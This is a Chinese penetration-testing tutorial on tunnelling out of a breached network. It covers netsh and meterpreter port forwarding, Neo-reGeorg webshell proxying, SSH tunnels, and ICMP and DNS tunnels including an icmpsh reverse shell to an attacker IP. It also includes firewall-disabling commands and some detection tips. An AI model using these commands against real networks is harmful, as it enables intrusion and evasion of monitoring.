0. 前言
在打进内网之后,我们要判断此时的流量是否出的去、进的来。在一些真实的网络环境中,网络中的主机彼此进行通信一般是通过建立TCP连接然后进行数据通信,但是企业出于安全方面的考虑,也通常会在边界设置一些软/硬件防火墙来检查内部网络和外部网络的连接情况。假如这时我们想通过某个端口或者某个协议来与内网来进行一个连接,但是发现连接被防火墙所检测出异常,并且阻止此次连接的进行那么我们该怎么办?这个时候黑客们一般会借助一些隧道技术来对防火墙来做出绕过。那么什么是隧道呢?这里隧道的意思是指将我们的数据包用防火墙允许的端口或者协议来进行封装后以致于达到穿过防火墙目的的一种手法,以下便是一些常见的隧道。
应用层隧道:HTTP隧道、HTTPS隧道、DNS隧道、SSH隧道
传输层隧道:TCP隧道、UDP隧道
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道
1. 端口映射
端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址, 采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。
利用端口映射功能可以将一台外网IP地址机器的多个端口映射到内网不同机器上的不同端口。
2. 端口映射与端口转发
端口映射与端口转发用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网通信双向,而映射转发只能实现外网到内网的单向通信。
3. netsh 端口转发(端口映射)
netsh是Windows的一个命令行脚本实用工具。使用netsh工具 ,可以查看或更改本地计算机或远程计算机的网络配置。不仅可以在本地计算机上运行这些命令,而且可以在网络上的远程计算机上运行。
配置方法:
假定需要通过192.168.204.150的3389端口转发到3340端口,则需要在192.168.204.150主机的命令行输入如下语句:
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=192.168.204.150 connectport=3389 connectaddress=192.168.204.150
查看存在的转发
netsh interface portproxy show all
删除指定规则
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=192.168.204.150
清除所有规则
netsh interface portproxy reset
使用netstat确保3340端口当前处于被侦听状态:
netstat -ano | findstr :3340
禁用系统防火墙
netsh firewall set opmode disable
启用防火墙
netsh firewall set opmode enable
4. Portfwd端口转发
portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4--IPV6的转换转发,并且内置于meterpreter。
meterpreter > portfwd ‐h
Usage: portfwd [‐h] [add | delete | list | flush] [args]
OPTIONS:
‐L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
‐R Indicates a reverse port forward.
‐h Help banner.
‐i <opt> Index of the port forward entry to interact with (see the "list" command).
‐l <opt> Forward: local port to listen on. Reverse: local port to connect to.
‐p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
‐r <opt> Forward: remote host to connect to.
5. 内网穿透Neo-reGeorg的使用
reGeorg是什么?
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
一般用在服务器已被getshell,想横向渗透但是因为ACL策略较为严格。只允许http协议进出。无法直接将端口转发或者是内网主机通过端口映射到外网主机,并且内网主机无法访问外网。这时想进行内网渗透时,也可使用该工具代理进入内网,通过http协议传达请求。
例如:
资产组里有2台机器:主机A、主机B。其中主机A上运行了Web服务,且IP或者端口映射到公网,可以被外部人员访问,主机B是在外网访问不到的。攻击者通过漏洞在主机A上传了Webshell,但同时又出于某些限制并未能得到主机A的主机权限也无法反弹shell,那么他这个时候,也是无法通过常规方法反弹shell或者直接登录主机A从而访问到主机B的。
reGeorg就在这个时候起了作用,攻击者已经有了主机A的webshell权限(即可以在web服务器中上传文件),而主机A可以和主机B通信。那么在主机A上安装reGeorg工具,使得攻击者发出的请求以及目标机器的响应经过A的http转发,达到攻击者可以和主机B进行通信的效果。
Neo-reGeorg是什么?
Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:
- 提高 tunnel 连接安全性
- 提高可用性,避免特征检测
- 提高传输内容保密性
- 应对更多的网络环境场景
下载地址:
https://github.com/L-codes/Neo-reGeorg
Neo-reGeorg特色
- 传输内容经过变形 base64 加密,伪装成 base64 编码
- 直接请求响应可定制化 (如伪装的404页面)
- HTTP Headers 的指令随机生成,避免特征检测
- HTTP Headers 可定制化
- 自定义 HTTP 响应码
- 多 URL 随机请求
- 服务端 DNS 解析
- 兼容 python2 / python3
- 服务端环境的高兼容性
- (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
- aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
- 支持内网转发,应对负载均衡环境
依赖关系:
github.com/kennethreitz/requests
使用方法,见:
https://github.com/L-codes/Neo-reGeorg
6. SSH隧道转发
什么是SSH隧道?
SSH隧道是一种通过加密的SSH连接传输任意网络数据的方法。它可以用来为任何应用程序添加加密通道;也可以用它来实现VPN和跨防火墙访问局域网的服务。
SSH是一个通过不受信任的网络进行安全远程登录和文件传输的标准。通过SSH隧道传输TCP/IP数据,它还提供了一种使用端口转发保护任何给定应用程序数据流量的方法。采用了这种方法后,应用程序的数据流量都会走SSH的加密连接,从而不会被窃听或拦截。对于本身不支持加密的应用程序来说,使用SSH隧道可以很方便地添加网络安全性。
端口转发有两个主要作用:
(1)将不加密的数据放在 SSH 安全连接里面传输,使得原本不安全的网络服务增加了安全性,比如通过端口转发访问 Telnet、FTP 等明文服务,数据传输就都会加密。
(2)作为数据通信的加密跳板,绕过网络防火墙。
端口转发有三种使用方法:动态转发,本地转发,远程转发。
本地端口转发。 -连接从客户端主机转发到SSH服务器主机,然后转发到目标主机端口。
远程端口转发。 -将端口从服务器主机转发到客户端主机,然后转发到目标主机端口。
动态端口转发。 -创建SOCKS代理服务器,该服务器允许跨多个端口进行通信。
-
动态转发
动态端口转发使您可以在充当SOCKS代理服务器的本地(ssh客户端)计算机上创建套接字。当客户端连接到该端口时,连接将转发到远程(ssh服务器)计算机,然后再转发到目标计算机上的动态端口。这样,所有使用SOCKS代理的应用程序都将连接到SSH服务器,并且服务器会将所有流量转发到其实际目的地。
$ ssh -D local-port tunnel-host -N
上面命令中,-D
表示动态转发,local-port
是本地端口,tunnel-host
是 SSH 服务器,-N
表示这个 SSH 连接只进行端口转发,不登录远程 Shell,不能执行远程命令,只能充当隧道。
举例来说,如果本地端口是2121
,那么动态转发的命令就是下面这样。
$ ssh -D 2121 tunnel-host -N
注意,这种转发采用了 SOCKS5 协议。访问外部网站时,需要把 HTTP 请求转成 SOCKS5 协议,才能把本地端口的请求转发出去。
下面是 SSH 隧道建立后的一个使用实例。
$ curl -x socks5://localhost:2121 http://www.example.com
上面命令中,curl 的-x
参数指定代理服务器,即通过 SOCKS5 协议的本地2121
端口,访问http://www.example.com
。
如果经常使用动态转发,可以将设置写入 SSH 客户端的用户个人配置文件(~/.ssh/config
)。
DynamicForward tunnel-host:local-port
-
本地转发
本地转发(local forwarding)指的是,SSH 服务器作为中介的跳板机,建立本地计算机与特定目标网站之间的加密连接。本地转发是在本地计算机的 SSH 客户端建立的转发规则。
它会指定一个本地端口(local-port),所有发向那个端口的请求,都会转发到 SSH 跳板机(tunnel-host),然后 SSH 跳板机作为中介,将收到的请求发到目标服务器(target-host)的目标端口(target-port)。
$ ssh -L local-port:target-host:target-port tunnel-host
上面命令中,-L
参数表示本地转发,local-port
是本地端口,target-host
是你想要访问的目标服务器,target-port
是目标服务器的端口,tunnel-host
是 SSH 跳板机。
举例来说,现在有一台 SSH 跳板机tunnel-host
,我们想要通过这台机器,在本地2121
端口与目标网站www.example.com
的80
端口之间建立 SSH 隧道,就可以写成下面这样。
$ ssh -L 2121:www.example.com:80 tunnel-host -N
然后,访问本机的2121
端口,就是访问www.example.com
的80
端口。
$ curl http://localhost:2121
注意,本地端口转发采用 HTTP 协议,不用转成 SOCKS5 协议。
另一个例子是加密访问邮件获取协议 POP3。
$ ssh -L 1100:mail.example.com:110 mail.example.com
上面命令将本机的1100
端口,绑定邮件服务器mail.example.com
的110
端口(POP3 协议的默认端口)。端口转发建立以后,POP3 邮件客户端只需要访问本机的1100
端口,请求就会通过 SSH 跳板机(这里是mail.example.com
),自动转发到mail.example.com
的110
端口。
上面这种情况有一个前提条件,就是mail.example.com
必须运行 SSH 服务器。否则,就必须通过另一台 SSH 服务器中介,执行的命令要改成下面这样。
$ ssh -L 1100:mail.example.com:110 other.example.com
上面命令中,本机的1100
端口还是绑定mail.example.com
的110
端口,但是由于mail.example.com
没有运行 SSH 服务器,所以必须通过other.example.com
中介。本机的 POP3 请求通过1100
端口,先发给other.example.com
的22
端口(sshd 默认端口),再由后者转给mail.example.com
,得到数据以后再原路返回。
注意,采用上面的中介方式,只有本机到other.example.com
的这一段是加密的,other.example.com
到mail.example.com
的这一段并不加密。
这个命令最好加上-N
参数,表示不在 SSH 跳板机执行远程命令,让 SSH 只充当隧道。另外还有一个-f
参数表示 SSH 连接在后台运行。
如果经常使用本地转发,可以将设置写入 SSH 客户端的用户个人配置文件(~/.ssh/config
)。
Host test.example.com
LocalForward client-IP:client-port server-IP:server-port
-
远程转发
远程端口转发与本地端口转发相反。它允许您将远程(ssh服务器)计算机上的端口转发到本地(ssh客户端)计算机上的端口,然后再转发到目标计算机上的端口。
在这种类型的转发中,SSH服务器侦听指定端口,并将与该端口的连接通过隧道传输到本地SSH客户端上的指定端口,然后本地SSH客户端连接到目标计算机上的端口。目标计算机可以是本地计算机,也可以是其他计算机,它的命令格式如下。
$ ssh -R remote-port:target-host:target-port -N remotehost
上面命令中,-R
参数表示远程端口转发,remote-port
是远程计算机的端口,target-host
和target-port
是目标服务器及其端口,remotehost
是远程计算机。
远程转发主要针对内网的情况。下面举两个例子。
第一个例子是内网某台服务器localhost在 80
端口开了一个服务,可以通过远程转发将这个 80
端口,映射到具有公网 IP 地址的my.public.server
服务器的 8080
端口,使得访问my.public.server:8080
这个地址,就可以访问到那台内网服务器的 80
端口。
$ ssh -R 8080:localhost:80 -N my.public.server
上面命令是在内网localhost服务器上执行,建立从localhost到my.public.server
的 SSH 隧道。运行以后,用户访问my.public.server:8080
,就会自动映射到localhost:80
。
第二个例子是本地计算机local在外网,SSH 跳板机和目标服务器my.private.server
都在内网,必须通过 SSH 跳板机才能访问目标服务器。但是,本地计算机local无法访问内网之中的 SSH 跳板机,而 SSH 跳板机可以访问本机计算机。
由于本机无法访问内网 SSH 跳板机,就无法从外网发起 SSH 隧道,建立端口转发。必须反过来,从 SSH 跳板机发起隧道,建立端口转发,这时就形成了远程端口转发。跳板机执行下面的命令,绑定本地计算机local的2121
端口,去访问my.private.server:80
。
$ ssh -R 2121:my.private.server:80 -N local
上面命令是在 SSH 跳板机上执行的,建立跳板机到local的隧道,并且这条隧道的出口映射到my.private.server:80
。
显然,远程转发要求本地计算机local也安装了 SSH 服务器,这样才能接受 SSH 跳板机的远程登录。
执行上面的命令以后,跳板机到local的隧道已经建立了。然后,就可以从本地计算机访问目标服务器了,即在本机执行下面的命令。
$ curl http://localhost:2121
本机执行上面的命令以后,就会输出服务器my.private.server
的 80
端口返回的内容。
如果经常执行远程端口转发,可以将设置写入 SSH 客户端的用户个人配置文件(~/.ssh/config)。
Host remote-forward
HostName test.example.com
RemoteForward remote-port target-host:target-port
完成上面的设置后,执行下面的命令就会建立远程转发。
$ ssh -N remote-forward
# 等同于
$ ssh -R remote-port:target-host:target-port -N test.example.com
-
实例
简易 VPN
VPN 用来在外网与内网之间建立一条加密通道。内网的服务器不能从外网直接访问,必须通过一个跳板机,如果本机可以访问跳板机,就可以使用 SSH 本地转发,简单实现一个 VPN。
$ ssh -L 2080:corp-server:80 -L 2443:corp-server:443 tunnel-host -N
上面命令通过 SSH 跳板机,将本机的2080
端口绑定内网服务器的80
端口,本机的2443
端口绑定内网服务器的443
端口。
两级跳板
端口转发可以有多级,比如新建两个 SSH 隧道,第一个隧道转发给第二个隧道,第二个隧道才能访问目标服务器。
首先,在本机新建第一级隧道。
$ ssh -L 7999:localhost:2999 tunnel1-host
上面命令在本地7999
端口与tunnel1-host
之间建立一条隧道,隧道的出口是tunnel1-host
的localhost:2999
,也就是tunnel1-host
收到本机的请求以后,转发给自己的2999
端口。
然后,在第一台跳板机(tunnel1-host
)执行下面的命令,新建第二级隧道。
$ ssh -L 2999:target-host:7999 tunnel2-host -N
上面命令将第一台跳板机tunnel1-host
的2999
端口,通过第二台跳板机tunnel2-host
,连接到目标服务器target-host
的7999
端口。
最终效果就是,访问本机的7999
端口,就会转发到target-host
的7999
端口。
7. ICMP隧道
ICMP(Internet ControllerMessages Protocol,网间控制报文协议)是TCP/IP协议族的子协议,是一种面向无连接的协议。用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)
建立ICMP隧道
用于建立ICMP隧道的工具一般用icmpsh
,icmptunnel
,ptunnel
,icmpshell
工作原理
请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求。
Windows 和 Linux 系统下的 Ping 工具默认的 Payload 长度为 64 比特,但实际上协议允许附加最大 64K 大小的 Payload。
对于隧道数据,icmptunnel 首先会指定客户端和服务器端。随后,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包。
icmpsh
工具安装
git clone https://github.com/inquisb/icmpsh.git #下载工具
apt-get install python-impacket #安装依赖
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地ICMP应答
icmpsh
的使用场景如下:
服务器暴露在外网上,可以访问外部网络,但是服务上有防火墙,拒绝了敏感端口的连接(比如22端口,3389端口等)。使用icmpsh的目的就是为了能够绕过对敏感端口的限制,此时ICMP作为获取反向shell的通道,进行反向shell。
攻击者IP地址: 192.168.1.76
服务器IP地址: 192.168.1.113
被攻击的服务器端运行
icmpsh.exe -t 192.168.1.76(攻击者)
攻击者端运行icmpsh的控制端
python icmpsh_m.py 192.168.1.76(攻击者) 192.168.1.113(被攻击者)
icmptunnel
icmptunnel的优势在于可以穿过状态防火墙或NAT
一些设备会过滤没有匹配响应数据包的 Ping 包。而在非对称连接中,来自服务器端的流量会大于客户端,反之亦然,这样客户端可能会丢弃一些相应数据包,因为响应数据包多余请求数据包。
icmptunnel 有一个机制来专门解决这个问题。客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT,而这些请求数据包都会被记录在防火墙状态表中。同时通过保持发送带有载体的数据包,这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口”。
安装icmptunnel
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
可能会出现缺少头文件的问题,参考文章:https://blog.csdn.net/zhutingting0428/article/details/51120949
使用场景和icmpsh一样(被攻击对象为linux的情况下)
攻击者IP:192.168.1.76
被攻击者的IP:192.168.26
攻击者开启icmptunnel服务端模式:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel –s
然后另开一个终端,执行命令
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)
被攻击者
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.76
连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
指定IP地址为10.0.0.2,此时建立了icmp隧道,在服务器端通过ssh连接被攻击对象。
ptunnel
ptunnel
就是工具pingtunnel
安装过程如下:
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
该工具在kali中是已经集成好的
现有场景如下:一个内网中,有一台Web服务器,一台数据库服务器,Web服务器可以ping通过数据库服务器,但是不能直接访问数据库服务器,已知数据库服务器此时有开启3389端口。
攻击者的IP地址:192.168.1.107(win7)
攻击者的VPS地址:192.168.1.76(kali)
web服务器的IP地址:192.168.1.26(外网) 172.168.1.16(内网)(kali)
数据库服务器的IP地址:172.168.1.18(内网)(win server 2008)
在攻击者的vps(192.168.1.76)中执行如下命令
ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie
-p 跳板的公网IP
-lp 指定本机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x 为隧道写一个隧道密码,防止隧道滥用
在Web服务器中执行命令
ptunnel -x cookie
在攻击者的机器上访问自己的vps的1080端口
可以看到我们虽然连接的是192.168.1.76,但是我们通过使用web服务器作为跳板,将vps的1080端口与数据库服务器的3389端口连接在一起了。
应对icmp隧道措施
使用icmp隧道时,会集中在某个时间点产生大量的icmp数据包,可以通过wireshark进行icmp数据包分析
检测同源的icmp数据包数量,正常的ping命令每秒最多两个数据包,隧道会产生大量的数据包。
注意payload大于64bit的ICMP数据包
寻找响应数据包和请求数据包payload不一致的ICMP数据包。
windows系统下ping默认传输的是: abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
参考:https://www.freebuf.com/articles/network/202634.html
- 检查ICMP数据包的协议标签,比如icmptunnel会在所有icmp payload前面加上
TUNL
标识来标识隧道。
8. DNS隧道
DNS协议是一种请求应答协议,也是一种可用于应用层的隧道技术。虽然DNS流量的异常变化可能会被发现,但是在基于传统socket隧道已经濒临淘汰,TCP、UDP通信大量被安全设备拦截的大背景下,DNS、ICMP、HTTP/HTTPS等难以禁用的协议已经成为攻击者使用隧道的主流选择。
选择DNS协议作为通信隧道的主要优势在于:一方面,DNS是网络环境中必不可少的服务,另一方面,由于防火墙和IDS设备本身较少存在过滤DNS流量的行为,使得DNS报文本身具有了穿越WAF的能力。同时,越来越多的研究数据也证明了DNS隧道在APT攻击和僵尸网络中扮演着重要角色。
DNS隧道原理:
核心思想:端口不和服务绑定,可以传输任何数据。
正常网络之间的通信,是发生在两台机器建立TCP连接之后的,在进行通信时:如果目标是IP,则会直接发送报文,如果是域名,则将域名解析为IP再通信。C&C服务器在建立连接后将指令传递给客户端上的后门程序。
DNS隧道的原理就是:在后门程序进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台攻击者设置的服务器,那么服务器就可以依靠域名解析的响应进行数据包的交换,从DNS协议的角度来看,这样的操作只是反复查询某个或者某些特定的域名并且得到解析结果,但其本质是,DNS预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令,从而将其他协议封装在DNS协议中进行传输。
DNS隧道木马的通信结构如下:
DNS协议开头为Transaction ID为字段,2字节,用于辨别DNS应答报文是哪个请求报文的响应:
技术要点:
DNS缓存机制的规避
在使用中继隧道时,如果需要解析的域名在本地的DNS Server中已经有缓存时,本地的DNS Server就不会转发数据包。所以在构造的请求中,每次查询的域名都是不一样的。DNS载荷的编码
从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUSwVqwOWCaaDC.test.nuoyan.com
,其中2roAUSwVqwOWCaaDc
则是客户端传递给服务器的信息,这串字符解码后的信息便是DNS隧道。
DNS隧道分类:
DNS隧道攻击分为两种:IP直连型和域名中继型。
IP直连型:
直连也就是客户端直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度更快,但是隐蔽性较差,容易被WAF或者IDS设备探测到,另外限制比较高,很多实际场景下不允许攻击者来自定义DNS Server,否则很容易被发现。
DNS协议的下层协议为UDP传输协议,这种隧道客户端通常使用UDP socket建立连接,实际上是基于UDP的,但是要利用到53端口。
域名中继型:
通过DNS递归查询实现的中继隧道,比较隐蔽,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多(其实就类似伪造一台私有DNS Server),同时我们还需要规避本地客户端的DNS缓存,这里可以使用随机域名生成算法(DGA)。很多恶意软件利用该算法生成随机域名,有效绕过黑名单检测,通过轮询的方式尝试连接,寻找C2控制中心。
①受到木马控制的PC将数据封装到DNS数据报文里,向位于内网的本地域名服务器请求查询baidu.com.
②本地域名服务器透过防火墙向根域名服务器发送查询请求
③经过大量的递归重定向,查询请求发到baidu.com的(伪造)权威域名服务器
④baidu.com(伪造)权威域名服务器是在攻击者控制下,解析并发送响应包
⑤dns响应包穿透内网防火墙
⑥进入内网
⑦本地域名服务器将响应包返回给受控客户端
⑧受控客户端解析DNS响应包中的数据,获取指令
几种常见DNS隧道工具流量分析
-
dns2tcp
适用条件
客户端的防火墙禁止tcp出站流量,无法上网,dns2tcp利用dns协议传输tcp数据,从而实现上网(dns协议是udp协议走53端口)。
常用命令
-c 大流量压缩
-F 前台运行
-f 指定配置文件
-r 指定使用的资源
-z 指定DNS域名
-k 设置传输密码
-l 侦听本地端口
-d 编译水平(1 | 2 |3 )
流程需求
kali客户端 192.168.3.26
kali服务器 192.168.3.163
windws server 2003 192.168.3.138
准备阶段
在windows 2003 配置DNS服务器
修改服务器 /etc/dns2tcpd.conf配置文件
实例演示-建立隧道
服务器运行以下命令,侦听
53
端口,启动配置文件里所配置的资源,等待客户端来连接。
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
客户端运行以下命令,侦听本地7002
端口,使用ssh资源,如果有数据产生,将通过DNS服务器将数据发给服务器。
这样我们的7002端口,就跟目标53端口建立了隧道。
dns2tcpc -c -k pass -d 1 -l 7002 -r ssh -z lab.test.com
使用ssh连接本地7002
端口,也就是连接服务器53
端口,然后服务器在转发给22
端口。
ssh root@127.0.0.1 -p 7002
这里我们也可以结合ssh动态端口转发命令,就可以配置浏览器进行代理上网。
ssh -CfNg -D 8080 root@127.0.0.1 -p 7002
-
Cobaltstrike DNS beacon
目标靶机的端口开放情况没有变化,隐蔽性高。
CC服务器不容易暴露(因为借用了域名服务器可以使用重定向),蓝队需要递归dns查询反向查找。
可以利用mode命令随时改变数据传输通道,例如mode dns使用A记录传输,mode dns6使用AAAA记录,mode http显而易见使用http通道等等。
profile idle参数可修改teamserver响应IP
流量分析
流量特征:
超长子域名
Dns默认响应值:0.0.0.0
默认使用TXT格式传递base64格式的加密信息
9. frp内网穿透
-
简介:
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。 代理组间的负载均衡。 端口复用,多个服务通过同一个服务端端口暴露。 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。 服务端和客户端 UI 页面。